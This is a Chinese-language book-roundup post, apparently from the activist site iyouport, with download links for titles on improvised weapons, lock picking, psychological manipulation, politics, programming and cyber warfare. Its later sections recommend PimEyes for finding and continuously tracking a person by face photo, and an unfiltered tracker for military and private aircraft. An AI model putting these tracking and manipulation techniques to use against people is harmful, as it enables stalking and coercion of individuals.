五种即兴武器，以及为什么说冲击式武器是对普通人来说最简单的即兴武器；

你会明白 “最佳战斗” 的概念。如果不明白这一点，你可能会陷入苦难的境地；

三种选择目标的方法，以及为什么选择错误的目标会产生灾难性的结果；

您不仅将学习到武器的使用方法，还将发现如何使用不同的武器进行攻击，包括不同的握法和多角度攻击；

一个简单的“武器”，你现在就可以拿着它，在大庭广众之下，没有警察或歹徒会质疑你；

如何在不伤手的情况下，增加出拳的力量。如果你在出拳过程中伤到了手，打倒别人又有什么用呢？

一个简单的替代品，谁也不会想到可以当做武器来使用的东西；

你还会发现有两件你平时就可以随身携带的武器；

您还将会得到两件可以在自行车上携带的武器，没有人会怀疑那是武器；

以及更多内容 .....

不要让自己变成一个简单的受害者。因为您完全可以做到保护自己。下面我们上传这本书。

☞预告！8月7日我们将开启中文防身技巧系列：《在灾难中幸存的方法》希望能对您有所帮助。

您可以在这里下载这本书：https://t.me/iyouport/7470

下载：https://www.patreon.com/posts/dang-nin-mei-you-39670006

9、《Complete Krav maga : the ultimate guide to over 250 self-defense and combative techniques》

「图」

250多种自卫和格斗技巧的终极指南——

「图」

这里是新版，更新和扩展了内容。

您将在这里学到几乎所有防御动作—— 从入门黄带到高级黑带——都有详尽的描述，并配有逐步说明的步骤照片：

入门：拳打，踢，膝盖 ..... 搏击和防守动作；

中级：对战刀、枪和棍棒；

高级：发动反击—— 先进的打击和搏击技巧；

大原则：最好尽快从防御转移到进攻，这本书结合了强大反击能力的快速逃生演习。无论您是大块头还是小巧玲珑、男女不限、无论年龄大小，都可以使用这些方法来保护自己—— 迅速发现并充分利用攻击者的漏洞。

您可以在这里下载这本书：https://t.me/iyouport/7490

下载：https://www.patreon.com/posts/39730857

10、《CIA Lock Picking: Field Operative Training Manual》

「图」

如何撬锁——

「图」

首先说，不要轻易做这件事！这不是玩笑，未经允许打开他人的财产是违法的。

但是有些情况下，您可能用得到这一技能。比如，您被绑架了，需要逃脱；或者更简单普遍的状况，您忘带钥匙了。

我们将在本周末即将开启的《幸存指南》中涉及到撬锁的技巧，现在上传的这本书中有专门的解释。

尽管撬锁可能与犯罪意图有关，但这是锁匠必不可少的技能。撬锁是在没有正确钥匙的情况下打开锁的理想方法，同时又不会损坏锁，因此可以将其重新锁上以备后用，这对于古董锁来说尤为重要，如果使用破坏性的进入方法，它可能就废了。

这本书是CIA的培训手册。好吧，间谍的基本技能也包括这个。您可以先了解一下，我们后面的系列文章中将有更多详细介绍。

在这里下载这本书：https://t.me/iyouport/7493

下载：https://www.patreon.com/posts/ru-he-qiao-suo-39731213

11、《Dark Psychology: The Practical Uses and Best Defenses of Psychological Warfare in Everyday Life》

「图」

黑暗心理学：日常生活中心理战——

「图」

您是否觉得自己只是别人的棋子？您是否厌倦了动不动就被操纵？您是否希望能够发现并辨别他人的真实情感，从而保护自己免受情感上的虐待和摆布？…… 这就是您所需要的书。

黑暗心理学，这本书不仅可以帮助您了解人类行为的基础知识，还可以帮助您掌握防御的技巧。

它将带您进行深入的探索，探索人脑中较暗的坑洼，并就如何建立针对这种情况的心理防御措施提供有见地的实际步骤。

在这里您将能了解到：

- 有关黑暗心理学的基本事实
- 即使真相被谎言掩盖了，如何识别和分离真相
- 您日常生活中的某些方面使您容易受到他人的操纵
- 五个步骤的程序可帮助您在遇到侵害时摆脱困境
- 如何保护自己免受黑暗心理的影响
- …… 以及更多

如果您或您的任何亲人在情感上遭受痛苦或当前正经历着与黑暗心理固有的危险直接相关的噩梦，那么，这本书也许可能帮到您。

即使您只是对黑暗心理学的工作原理感到好奇，并且想知道如何保护自己，这本书也值得您翻越。

黑暗心理学不是一个新颖的概念，因此，这本书不涉及任何突破性的发现。但是，它总是以平静的声调进行讨论，分解那些混乱和迷惑你的信息。

它有效地消除了黑暗心理学的神秘面纱，并为您提供了可用来保护自

己免受其困扰的知识。

因此，如果您准备好了，开始阅读，也许您可以就此改变自己的生活。

在这里下载这本书：https://t.me/iyouport/7514

下载：https://www.patreon.com/posts/hei-xin-li-xue-39999391

12、《Manipulation Dark Psychology to Manipulate and Control People》

「图」

如何操纵和控制他人——

「图」

首先强调，这不是进攻！这是防御：对抗性思考方式，即，当您遇到某人如此对待您时，保持警惕，并及时脱身。

这本书将讲述一套分步教学指南，关于运用黑暗心理学来操纵他人的技巧。

黑暗心理学可以是一种非常强大的方法，可用于控制思想、洗脑、影响和操纵周围的人，但前提是，您知道正确的做法！

以下是在这里您将学到的内容的预览：

- 什么是操纵？
- 基本思路
- 操纵与影响
- 操纵与说服
- 定义操纵
- 操作示例
- 军事战略、人际关系、操纵的优势
- 如何免受到他人的操纵
- 动作、工具、权力、说服力、欺骗、非理性行为、操纵表现
- 情绪操纵、魅力、道德考量
- 收集信息、威胁、采取行动、学习和改进
- 分析、自我分析、分析他人

- 冷读（就是玄学命理学使用的那种东西）
- 肢体语言、面部表情

– …… 以及更多！

再次重申：这是为了您的自我保护，不要伤害无辜的人！

关于操纵和避免操纵，我们在 列表-3 “斗智” 中有详细中文分析，您也可以关注以下这些文章，比如，

- 《诱导和操纵他人的基本逻辑：让你只想到我希望想的东西（1）》
- 《看清信息战：2019全球有组织社交媒体操纵清单》
- 《诈：在线信息战操纵战略的多样化》
- 《摆脱操纵和宣传：28个长期技巧》
- 《心理操纵的秘密：”行为经济学”＋PR＝？》
- 《操纵式宣传：五个过滤器和识别线索》
- 《对话是门技术活：擅长对话的攻击者能操纵你做任何事》
- 《人性的懦弱：社交工程攻击和行为操纵的便捷入口》
- 《冷战故事～ CIA 如何操纵媒体影响舆论：Mockingbird 行动》
- 等等，从列表中选取您想要的任何内容：https://start.me/p/nRBzO9/iyp-3

✌ 下周我们将开始一个新的系列，从对阵政府的心理战角度讲述这个问题。

在这里下载这本书：https://t.me/iyouport/7517

下载：https://www.patreon.com/posts/ru-he-cao-zong-39999615

13、《The Life and Death of Democracy》

「图」

旧的民主死了，新的民主将是什么样？——

「图」

民主今天的趋势非常不同于、甚至有悖于 “自由之家” 发布的这些东一榔头西一棒子的短视的报告，民主的发展不仅比报告所论更复杂，

也更有意思。

从欧洲开始的跨越国家边界的民主试验可以作为当今民主发展方向的一个标志。

这是民主新时代最重要的潮流，在这个潮流的推动下，代议制民主的基本制度及其权力的正当性已经在一代人的时间内成为最重要的政治原则。

☞ 而代议制民主的时代正在过去，一个新型的 “后代议” 民主已经诞生，并在整个民主世界伸展蔓延。

这一历史变迁的标志就是我们定义和评价民主的方式。

过去，民主曾经被视为是天赐，或是神的恩典，或是其他什么第一原则，比如 “伟人”“历史”“社会主义”或“真理”。但今天，人们对民主的认识大大地实用化了，民主不过是一种合手的、不可或缺的武器，用以对付不负责任的权力及其不良后果。

在这个刚刚开始的民主新时代，民主这个词汇本身也有了新的含义：对各种决策者进行公共审查和公共监控，不论他们做出的是国家机构的还是跨国机构的决策，是所谓非政府组织的还是民间社会组织（比如企业、工会、体育联合 会或慈善机构）的决策。

代议民主并不是简单地在萎缩或消亡，不仅在领土国家框架内运转的代议机制将继续存在，在有些国家还正处于第一个活跃期。

但是，出于种种原因，包括 “二战”带来的毁灭性影响，以及公众要求清除腐败和权力滥用的压力，代议制民主逐渐地、不声不响地演化出一种新的、前人无缘得知的民主形式。：**“监督式民主”（monitory democracy）**。

“监督式” 民主是一种 “后西敏寺制式” 的民主，新型民主让权力监督和权力控制机制向整个政治秩序的周边和下方扩展。

它们进入政府的走廊，占据公民社会的每一寸空间，而在它们的成长过程中，尽管有些时候开头并不顺利，但它们让政治家、政党、立法机构和政府的生活变得越来越不容易。

- 监督式民主新时代所具有的这些趋势有着什么样的生命力？
- 新制度面临着巨大的压力，怀疑论者、批评家和敌人对它提出了种种质疑，甚至在它还没有赢得世界各地人民的信任之前就

破坏、摧毁了它的名声，它真的能够生存下去吗？

这本书将努力思考这些问题，它们很重要，对于那些缺乏民主经验的社会来说，尤其重要。这些思考将指导变革推动者的努力方向。

不要错过我们曾经的相关分析：

- 《投票可能正是民主的问题》
- 《如何虚构一个民主实践？》
- 《为什么虚假信息令独裁政权变得更强大，令民主国家变得更脆弱？》
- 尤其是 列表-5 “直接行动” 中的内容，很重要：https://start.me/p/1kod2L/iyp-direct-action-5

未来还将有更多相关讨论。现在我们先上传这本书。

您可以在这里下载这本书：https://t.me/iyouport/7537

下载：https://www.patreon.com/posts/jiu-de-min-zhu-39999713

14–1、《Programming for Computations—Python A Gentle Introduction to Numerical Simulations with Python 3.6》

「图」

蟒蛇——

「图」

有读者来信表示对 Python 感兴趣，希望推荐一些书目。

相关书目非常之多，但其中一些已经过时；我们找到了一本比较新的，也相对更实用。其中所有代码都是用Python 3.6编写的，提供了更详细的解释，示例更多。

下面我们上传一下。

您可以在这里下载：https://t.me/iyouport/7540

下载：https://www.patreon.com/posts/mang-she-39999829

14–2、《Why Knowing What To Do Is Not Enough》

「图」

“这些我都知道” …… 好吧，但这真的有用吗？——

「图」

- 您知道自己的血脂有多高，但还是吃了一堆红烧肉；
- 您知道理财产品也许不可信，需要多加谨慎，但还是轻而易举地被骗走了大把积蓄；
- 您知道这个月的开销已经透支，但依旧在网店流连忘返，沉迷于那些您仅仅是“想要”而不是“需要”的东西；
- 您说您知道当权者有多流氓、您知道他们的手段和能力，那么，您做到最有效的防御了吗？

……

生活是一场用危机铺就的旅程，这些危机就如陷阱，大大小小各不相同，有些你能轻易踩平，有些会让你崴脚，而也有些，是真正致命的。这取决于你有多警觉。

并不是每个人都有足够的警惕性。人们应该做什么（期望）和他们实际能够做什么（能力）之间有很大的差异。

例如，在荷兰，有一半的人（48%）难以掌控自己的健康、疾病和护理，他们缺乏必要的知识，动力和自信心；三分之一的家庭没有足够的资金来承受正常的挫折，例如洗衣机损坏；大约 650,000 户家庭有债务问题，而另外 735,000 户家庭有累积问题债务的风险 ……

☞ 当出现问题时，期望与能力之间的差异会更大。

问题使局势复杂化；最重要的是，压力会削弱人们做出明智决定的能力。

做出不明智的决定或变得普遍被动的情况并不少见。并仅仅是一小群“弱势”者例如智商低下的人，很难达到期望；即使是受过良好教育、在社会上处于有利地位的人，最终也会感到不知所措。

那并不是因为他们不够聪明或知识不足，而是，因为人们的各种心理能力无法满足要求，例如采取行动、保持镇静和坚持自己的决心的能

力。

这些能力很难训练，但并非不可能。

今天推荐的这本书着眼于自力更生，它详细解释了“了解”与“做到”之间存在差距的原因—— 这个问题对公民来说非常重要。

☞ 在当今社会，人们期望对自己的生活负责并自力更生。但这并非易事。您必须对健康、工作和个人理财等生活领域保持高度警惕，如果事情可能会出现问题，您需要能立刻采取适当的行动，而无需费力。

那么，这对公共政策意味着什么？

政策制定者倾向于认为政府只需要向人们提供清晰的信息，而一旦获得适当的信息，人们将自动做出正确的事。但是，事情并非如此，这点已经逐渐变得越来越明显。即使人们完全知道应该做什么，他们的行为也常常会有所不同。

为什么是这样？

您将从这本书中学习到“知道”与“做到”之间存在差距的原因。它着重于非认知能力的作用，例如设定目标、采取行动、坚持不懈和应对挫折，并说明不利条件如何损害这些能力。

这个问题很重要—— 关系到口头异议能否上升到反抗行动的问题，希望这本书能有所帮助。

- 《中国人什么都知道》

您可以在这里下载这本书：https://t.me/iyouport/7542

下载：https://www.patreon.com/posts/zhe-xie-wo-du-ba-39999919

15、《Word Power Made Easy: The Complete Handbook for Building a Superior Vocabulary》

「图」

还在背单词吗？不，那样太辛苦了 ——

「图」

华春莹那条充满错别字的 tweet 真的很奇怪 …… 理论上任何经历过正规学习的人都不会出现那样的错误。因为合格的老师会告诉您如何避免拼写错误。

对于熟悉中文的您来说，肯定也有一些技巧来避免写错字，比如先学习象形字 —— 当您知道这个字是怎么来的时，就基本不会写错了。其实学习任何语言都是如此。

英语单词可能是很多外语学习者的噩梦。这主要由于大多数人采取的是机械性的记忆方法，这种方法既辛苦又低效，很快您就会疲惫不堪。

我们曾经在 “超强记忆力” 训练系列中介绍过很多记忆技巧，它们当然可以用来记忆单词；但该系列内容的目标是帮助行动者更有效地应对突发事件、更好地协作和更敏捷的反应能力。

对于英语单词来说，确实有一些特定的技巧可以遵循。这些技巧不仅能帮您快速记忆，而且能避免写错字。

正如学习中文那样，您需要知道这个字是怎么来的；这句话为什么要这样说而不是那样说；为什么是这些词语而不是那些更适合表达您的意思 ……

今天即将上传的这本书旨在帮助您提升上述能力。

您是否总能使用正确的词语表达自己的意思？您可以使用英语思考并准确地拼写出自己的想法吗？您知道该如何避免文盲吗？您是否可以采用正确的语法以杜绝令人尴尬的错误？…… 如果不能，在这里找到解决方案。

这本书配备了很多经典资源以生动的易于理解的风格编写，并配有评论、进度检查和测验，以增强内容的实用性，您将在这里学会自信地说话和写作。

要不要试试看？

Don’t read this book! Instead, work with it. Talk aloud to it, talk back to it—use your voice, not just your eyes and mind. Learning, real learning, goes on only through active participation. When a new word occurs in a chapter, say it aloud!

👌不要错过 “超强记忆力” 系列—同名汇总板块在 列表-5 “直接行动” 中：

- 《手表上故事：通过练习和游戏塑造超强记忆力的方法（1）》
- 《操控注意力的小技巧：塑造超强记忆的方法（2）》
- 《不是集中而是”分散”注意力才更有效：塑造超强记忆力的方法（3）》
- 《如何找回失去的记忆？—塑造超强记忆力的方法（4）》
- 《如何操纵他人遗忘和忽略对你来说最敏感的信息—塑造超强记忆力的方法（5）》
- 《迷惑他人的把戏和速记法：塑造超强记忆力的方法（6）》
- 《使用逻辑快速记忆大量信息：塑造超强记忆力的方法（7）》
- 《*掌握*人的心理技巧：塑造超强记忆力的方法（8）》
- 《前瞻性记忆作为行动者的重要能力：塑造超强记忆力（9）》
- 《分析而不是收集，才是情报的灵魂：塑造超强记忆力（10）》
- 《虚假记忆和记忆操纵：塑造超强记忆力（11）》

在这里下载这本书：https://t.me/iyouport/7563

下载：https://www.patreon.com/posts/huan-zai-bei-dan-40000031

16、《The Glass Cage: Automation and Us》

「图」

您所依赖的东西，就是能控制您的东西。你甚至看不见它们，也正因此，无力抵抗——

「图」

我们曾经说中国社会可能难以理解数字殖民的概念，至少不会像全球南方国家那样理解；中国就是殖民者之一。

但这只是宏观的描述。数字殖民这一概念必须被扩充到微观层面，关于：

如今究竟谁是这个世界的真正统治者？万能的操纵者，所有人类都在他的控制之下？

不，不是某个政府，不是某个间谍机构，也不是某些政客，而是，数

字技术—— 准确说是控制全球的技术寡头：FATBAG（FB Amazon Tencent Baidu Alibaba Google）。中美均分。

任何使用数字技术的人都是他们的奴仆—— 包括政府和间谍机构。后者不愿意接受这点，于是他们努力吸纳/合作那些掌握数字技术的寡头。

而我们这些普通公民中很大一部分人仍没能理解到这一点，这会对有效反抗形成根本性的阻碍。

这本书出版于6年前，可以说其中一些思考已经不新，但是，如上所述，对于我们中很多人来说，这本书中提供的思考依旧值得研究。

我们将在不久后翻译这本书中的一个章节发布中文版，现在先上传它。

您已在这里上传这本书：https://t.me/iyouport/7566

下载：https://www.patreon.com/posts/nin-suo-yi-lai-40000120

17、《Arduino Software Internals: A Complete Guide to How Your Arduino Language and Hardware Work Together》

「图」

动手时间——

「图」

听说有中国读者对 Arduino 很感兴趣，我们挑一本书给大家。这是2020的新书。

Arduino 是一款单片机开发板，是个很容易上手的入门级开发板，适合于用于开发电子产品原型，其特点是简单、方便、软件库多、模块配件多。

Arduino 可以接受各种传感器的输入信号从而检测出运行环境，并通过控制光源，电机以及其他驱动器来影响其周围环境。

板上的微控制器使用 Arduino 编程语言和 Arduino 开发环境，

Arduino 可以独立运行也可以与计算机进行通信。

如果您了解编程语言C或者C＋＋，您会感觉很容易上手；如果不了解，这本书也不难读懂，它会说得比较详细，并不需要您有太多专业知识。

并且，仅仅构建您的 Arduino 项目还不够。现在是时候真正了解事物的工作原理了—— 这本书不仅将指导您如何使用 Arduino 软件和硬件，而且更重要的是，它会向您展示其全部工作方式以及软件与硬件的关系。

希望它能有所帮助。下面我们上传这本书。

您可以在这里下载这本书：https://t.me/iyouport/7587

下载：https://www.patreon.com/posts/dong-shou-shi-40000214

18、《Dark mirror : Edward Snowden and the American Surveillance State》

「图」

黑镜——

「图」

这本书是2020年的新书。

想必大家都看过著名的纪录片《第四公民》，知道了斯诺登当时将那些绝密文件交给了三个人：Barton Gellman、Laura Poitras、和 Glenn Greenwald。

这本书的作者就是 Barton Gellman。

目前斯诺登文件由于多种原因，报道已经中断，您可以在这里看到已经披露的部分的中文版汇总分析《互联网霸主的时间线—— 他们将互联网视为间谍、破坏和战争的主场》。

这本书是2020年的新书，**Gellman** 在其中揭示了很多您很可能还尚未知晓的背景信息。

我们将在几天后发布这本书中的部分章节中文版。

您可以先在这里下载：https://t.me/iyouport/7590

下载：https://www.patreon.com/posts/hei-jing-40000290

19、《Dirty Wars: The World Is A Battlefield》

「图」

肮脏的战争 ——

「图」

“精准打击”、“像外科手术一样” …… 这些词语您一定不会陌生。但事实究竟是什么？

中情局国家地理空间情报局、吹哨人 **Chris Aaron**：“当您一直在喝政府办公室的咖啡时，就很容易陷入团体性思考” …… [称其为精准最基本是荒唐的]，轰炸目标究竟是什么，很多时候是靠猜的，我们缺乏协调、缺乏中央数据库 …… 与此同时，无人机操作员的编制数量不断增长。每隔几周、每隔几个月就会有新人进来。有时人与人之间只有24小时的连续性 …… 如果有一个人是锁定目标的专家，那么当新人进来时，所有这些前人的经验都会消失 ……”

下面是采访视频：

随军牧师、吹哨人 **Chris Antal**：“民主基于正当程序。而这些无人机战争已经将正当程序化为乌有。”

“我们已经为杀戮找到了各种借口，并宽恕了法外暗杀：通过远程控制杀人，无需正当程序即可轻松进行战争，以保护我们自己免受战争的人为代价。”

“ 还记得 **Eisenhower** 的话吗：我们面临的不仅仅是军事工业综合体，而是一个军事工业国会综合体”。

空军传感器操作员 Brandon Bryant：“我发射了5枚地狱火导弹、杀死了13个人，其中只有3个人是实际战斗人员。”

记者：“那么其他10个人都是谁？”

Brandon Bryant ；“我们不知道。我不知道。我想知道。”

“其中一个人沿着角落走到外面，朝向建筑物。在我看来，这就像个小孩。然后一个巨大的耀眼的火光腾起 …… 那里就什么都没有了……

记者：“战争就是战争。杀人就是杀人。这不是电子游戏。你们当中有多少人杀死了一群人，看着他们的尸体被抬走，看着葬礼，然后继续杀人？”

空军传感器操作员 Michael Haas：“你曾经因为踩死过蚂蚁今后就不再踩了吗？—— 想着这句话，这就是您继续工作的理由 —— 把屏幕上那些黑色斑点看作是蚂蚁。你必须进行这样的心理自卫，以便更轻松地完成自己必须做的事 —— 杀戮。你必须首先杀死自己一部分良心，才能继续每天的工作，而忽略那些告诉您这是不对的声音。”

空军图像分析师 Heather Linebaugh：“令人惊讶的是，军方认为有必要提供错误的信息，关于平民死亡的统计数据很少甚至没有，以及关于我们的无人机功能如何扭曲的技术报道，也没有。”

他说：“那些政客称无人机是精密武器，能够进行外科手术级的精准打击。对我来说，发表这些声明完全是荒唐可笑的。”

空军无线电技术员 Cian Westmoreland：“在系统内，杀人的责任是分散的，因此没有个人会感到自己应该为所做的事负全部责任。我认为我们正在朝着一个自动化战争的世界前进，只有越来越多的技术人员和越来越少的决策者。”

他说，“每次我们杀死平民时，都会在一大群家庭的心理上造成出仇恨。如果他们没有其他可转向的地方，那么他们就会转向激进组织。”

……

这里是一本书，它提供了大量的信息，作者是纽约时报畅销书《黑水》的作者 Jeremy Scahill。它为您展现了一个全球秘密战争的世界。

这些精锐士兵来自海军海豹突击队、三角洲特种部队、前黑水和其他私人军事承包商、中央情报局的特殊作战司令部和联合特种作战司令部（**JSOC**），他们在世界各地行动，在超过一百个国家执行任务。

特种作战部队由“黑色预算”提供资金，在禁区执行任务，进行有针对性的杀戮，并执行无人机、AC-130和巡航导弹袭击。

在布什政府部署这些突击队的同时，巴拉克·奥巴马政府扩大了行动，并赋予了突击队新的范围和合法性。

《肮脏的战争》这本书揭示了“世界是战场”这一宣言的后果，Scahill 发现了当今时代最重要的对外政策秘密。

从阿富汗到也门、从索马里到世界各地，Scahill 在这项高风险调查中直接从前线获取信息，深度探索了这个全球杀人机器的内幕。

这一勇敢的报道获得过全球轰动，并拍摄了同名纪录片（**Hulu**有完整版），本文封面图就是该纪录片的海报。

希望这本书和这个纪录片能传递真正的吹哨人勇气和力量。

我们现在上传的是这本书的电子版。

在这里下载：https://www.patreon.com/posts/38735138

20、小工具

「图」

Nixintel 推荐了一个免费的小工具：Freedar，在全球范围内跟踪飞机：https://radar.freedar.uk/VirtualRadar/desktop.html#

它具有 VirtualRadar 的基本布局，于是您知道，会很方便使用，即最常用的开源ADS-B跟踪平台。尤其是，您能用它跟踪私人飞机或军用飞机，因为它基于 ADSBexchange，没有过滤。

请不要忘记切换到 World feed，方法是转到菜单，然后在“receiver”下选择“Freedar.uk World feed ”选项，这样就可以拥有全世界的视野。

如果您对一架特定飞机的历史行程路线感兴趣，建议访问荷兰的网站。在 ADS-B.nl 上，您可以搜索特定的飞机，并在其数据库中查看有关任何目标飞机飞行路线的三个月历史数据。

通过单击结果列表右侧的小地图图标，可以查看飞行路线。

21、面部识别搜索工具

「图」

这是一个目前比较被推荐的面部识别搜索工具：PimEyes。它有3种语言可选，英语、波兰语、和中文。搜索效果是不错的。

我们测试的时候使用的是 David Harvey 的照片，而且不是清晰的照片，是一个直播视频中的截图。结果它迅速找到了正确的匹配，就如上图那样（向下滚动有非常多的来源）。

它有一个高级版本可以向您显示目标人脸出现的具体位置，也可以让您在索引特定人的照片时得到通知 —— 也就是说可以持续追踪。但是免费版本已经足以获取更多的照片，对基本调查来说是大致足够的。

您可以在右侧看到过滤器，可以按照域名和时间氛围进行过滤。

http://pimeyes.com/

—— 持续更新中 ——

原文

IYP优秀书籍汇总2020（9～10 月版）-完全免费下载 - iyouport

免费书和纪录片

【2020年10月30日存档】本系列在双月的月底更新

【按】由于考虑到并非所有读者都能找到匿名手机号以注册 telegram，我们更新了所有书籍下载汇总的文章。

我们将这些书籍复制到了 patreon，于是现在您可以看到两个下载链接，其中橙色的链接指向IYP的 telegram 频道；红色的下载链接指向 patreon。

并且所有内容均设置为免费公开。

patreon 允许您在不登录/无需注册的情况下下载附件。

但是 patreon 有一个小缺点，它无法处理大于200MB的附件，所以小部分内容，比如Hakin9的教材，由于过大而无法上传。但大部分书籍都是可以直接在 patreon 下载的。

希望这样做能为您带来方便。

书籍汇总在 列表-5 中 “书和纪录片” 板块。

Hi，朋友！这里是2020的第5次汇总，7～8 月版，您可以在下面回顾过往内容：

- 《IYP优秀书籍年度汇总2019—在线下载免费阅读》64本
- 《IYP 优秀书籍汇总2020（1～2月版）—完全免费下载》47本
- 《IYP优秀书籍汇总2020（3～4 月版）》14本
- 《5～6月版》20本
- 《7～8月版》21本

来看看本次汇总中有没有您感兴趣的内容？

1、《How to Think: A Survival Guide for a World at Odds》

「图」

为什么当下的政治生活中存在如此糟糕的思想——

「图」

每个人的每一种认识都是有原因的，不论它有多么偏激、多么刺耳和怪异。

而当我们以一句 “胡说八道” 、“扯蛋” 来回应一切不同意的观点时，对话就结束了。

每当听到自己不同意的观点，人们就会立即进入反驳模式，而在反驳模式中，倾听已不复存在。当倾听停止时，思考也就停止了。

人们总是有一种集体性狂热，想要贬损一件自己并不完全了解的事物，只因为我们知道那是被社会所认可的。

而当我们不知道、或者当知道得还不够多的时候，总是倾向于以情感来代替思考。

人们不愿意了解和思考某些事，因为不愿丧失 “持有大众认同的观点时所感受到的愉悦”。

他们并不了解那些持不同见解的人。

群体给予人归属感，而代价是要求成员们放弃思考，但那些勇于思考的成员，则甘愿放弃这种归属感。

只有在一个相对宽松和自由的群体中，个体之间的真正忠诚才有可能存在。这一点也适用于规模较小的群体和不那么极端的情况。真正健康的群体对思考和质疑都是持开放态度的，如果成员之间没有什么显著的不同，它们对群体的价值就降低了。

要想避开错误的隶属关系带来的危险处境，唯一可行的方法就是真正从属于或加入一个不那么讲求“志同道合”的群体。

真正意义上的异类，恰恰是与我们相近的人。

正如人们常说的那样，只有当你开始学习另一种语言时，你才能充分理解母语的内涵和趋向，道德和政治语言亦是如此。以这种更微妙、更不极端的方式来体验世界，其实是在给自己一个思考的机会。

德行就在两种邪恶之间—— 一端是过度，一端是不及。

通过考察你所处社会环境对外来观点的态度，你就可以判断这种环境是否有益于思考。

民主精神融合了严格与包容，既包含充满激情的信念，也强调了对他人信念一如既往的尊重。

这本书很有趣，它分析了如今作用于我们每个人身上的各种力量，关于这些力量是如何瓦解和腐化了思想。

如果您也曾对社交媒体式吵架和怪异的政治生活头疼，也许能在这本书中找到一些答案。

- 《讨论的终结》

在这里下载这本书：https://t.me/iyouport/7610

下载：https://www.patreon.com/posts/wei-shi-yao-dang-40000395

2、Thinking in Pandas: How to Use the Python Data Analysis Library the Right Way

「图」

熊猫——

「图」

听说有读者在寻找 Pandas 的靠谱资料，我们上传一本**2020**年的新书。

Pandas 是一个开源的 Python 库，可提供高性能的数据处理和分析。将 Python 与 pandas 组合使用，无论数据来源如何，您都可以完成五个典型的数据处理和分析步骤：加载、准备、操作、建模和分析。

您可能会认为 Python 只适用于开发者以及拥有计算机科学学位的人

员？不是的，Python 很适合初学者，即使是没有多少编码经验也无妨，因为 **Python** 免费、开源，并且可在任何平台上运行。Python 软件包文档很棒，在学习了入门课程之后，您就掌握了一定的基础。

Python 是一种通用的高级编程语言，不仅仅用于处理数据。例如，它适合于开发桌面 GUI 应用程序、网站和 Web 应用程序。

这本书通过研究 Pandas 帮助解决的激动人心且具有影响力的项目来演示概念。

您将学习按大小和类型评估自己的项目，以了解 Pandas 是否适合您的需求。作者 Hannah Stepanek 解释了如何有效地在 Pandas 中加载和规范化数据，并回顾了一些最常用的加载器及其最强大的选项。

然后，您将学习如何有效地访问和转换数据，应避免使用什么方法，以及何时使用更高级的性能技术。这本书还介绍了如何选择正确的 DataFrame 以便数据分析简单有效，如何使用多级 DataFrame，以及将来如何改进 Pandas。

您可以在这里下载：https://t.me/iyouport/7613

下载：https://www.patreon.com/posts/xiong-mao-40000526

3、《Encyclopedia of Cyber Warfare》

「图」

只有当您能想到他们想不到的东西时，您才有可能获胜——

「图」

我们在分析最近发生的全球联动抗议活动中提到了一份内部文件，其中显示了五角大楼设计的军事演习：陆空海联合战略特别计划 (JLASS)。

该计划瞄准的是年轻人，准确说是年轻的反抗者—— Z世代（95 后），那些精通技术的行动派。

这份资料来自 Intercept 获得的内部文件，其中显示，五角大楼为演习设计的背景基本如下：

“ *2025*年初，这些心怀不满的*Z*世代人发起了抗议—— 一个名为 *Zbellion* 的组织开始了一场 全球网络运动，揭露不公正和腐败，并支持它认为有益的事业。他们使用黑客技术入侵大企业和政府机构的网络，把富人的钱拿出来，分给平民”。

☞ 五角大楼的演习目标就是，抓捕这些抗议者。

上述场景您一定很熟悉，如果您看过美国剧集 Mr.Robot 的话。没错，黑客行动主义。也是IYP涉及到的内容，我们有专门的板块，在列表-1 中的 “Hacktivism” 、列表-5 中的 “黑客主义”。

Mr.Robot 剧集的黑客技术顾问是 Michael Bazzell—— 此人担任专职执法人员已有15年以上。目前在FBI的 “网络犯罪工作组” 工作，主要负责开源情报OSINT的收集和分析，最擅长追踪当局想要的任何人，被维稳界称为“大神”。

技术反抗相比街头运动的优势在于，您不必担心自己“没有武器”。因为技术本身就是武器，在什么人手里决定了它会发挥什么样的作用。在当权者手里就是 “高科技平暴”工具，在Z世代手里就是反抗工具。技术可公开获取，而冷兵器则在一定程度上被特权所掌控。

同时，弱点在于，技术反抗的门槛较高，无法普及。当然，它也不需要普及，它不是传统街头运动那样需要追求宏大的参与者数量，技术反抗就如五角大楼文件所描述的场景，只需要极少数技术人士开发出入侵工具，其他所有人直接使用。

IYP的内容包含技术反抗，也包含传统的街头运动，如您所知，也如五角大楼的内部文件所示，当今的反抗运动已经很大程度上不再聚焦于街头了，虽然街头仍然是一部分，但是年轻人主导的抗议运动将专注于Z世代最强有力的武器，即：数字技术和技能。

互联网早已成为承载全世界各国政治、经济、军事、文化的全新空间；换句话说，是角逐的战场。那么，民间行动派能从中寻找到哪些契机？

今天上传的这本书是网络战的权威参考资源，与曾经上传过的所有技术类书籍一样，他们也许能帮助您找到不一样的灵感—— 深刻的了解是灵感诞生的基础。

⚠ 不论是技术反抗还是传统的街头运动，都需要注重创造力，因为镇压就基于创造力，当权者必须抢在行动者布局之前布下更大的围栏；

于是行动者需要比当权者的创意能力更强，才有可能让他们措手不及。

在这里下载这本书：https://t.me/iyouport/7634

下载：https://www.patreon.com/posts/zhi-you-dang-nin-40000609

4、《Cyber Dragon; Inside China’s Information Warfare and Cyber Operations》

「图」

窥探中国的信息战和网络运营内部——

「图」

中国解放军部队正在努力为信息化战争作准备。

在21世纪头十年的大部分时间里，解放军的著作都认为，解放军仍然是“半机械化、半信息化”的队伍。至少在这一时期的一部分时间里，解放军似乎只是想获得更多的信息化技术，从计算机到更好的通信系统，同时仍处在将其部队朝着机械化转变的缓慢过程中。

然而，在相对较短的时间内，解放军已经认识到信息化不仅仅意味着在更多的机动部队上增加一层信息技术；相反，它需要对冲突的性质进行彻底的重新审视。

解放军已经认识到，正如信息化影响了全球经济和社会一样，信息化也影响了战争的性质。

在中国看来，“战争不仅是军事力量和政治的功能，也是更大的社会、经济和技术趋势的功能”。根据解放军的著作《战争的形态》中的描述，这是当时主导的对经济秩序的反映，这反过来又影响了主要的武器种类、军事组织结构、作战概念和作战形式。这些因素综合起来，有助于确定战争的总体性质。

在信息化战争中，冲突主要发生在系统之间。作为这种系统化结构的一部分，信息化战争被设想为信息化的军事通过网络化的作战系统、指挥和控制系统以及后勤和支助系统来运作。

在信息化战争中，信息既是人员、物资和能力的力量倍增器，又是战

斗力本身的一种形式。

老式武器如果采用现代传感器和通信设备进行现代化改造（如B-52和A-10或在“哑弹“上加装激光制导模块），可以保持甚至提高其效能。改进的指挥控制系统可以更好地协调各种力量。

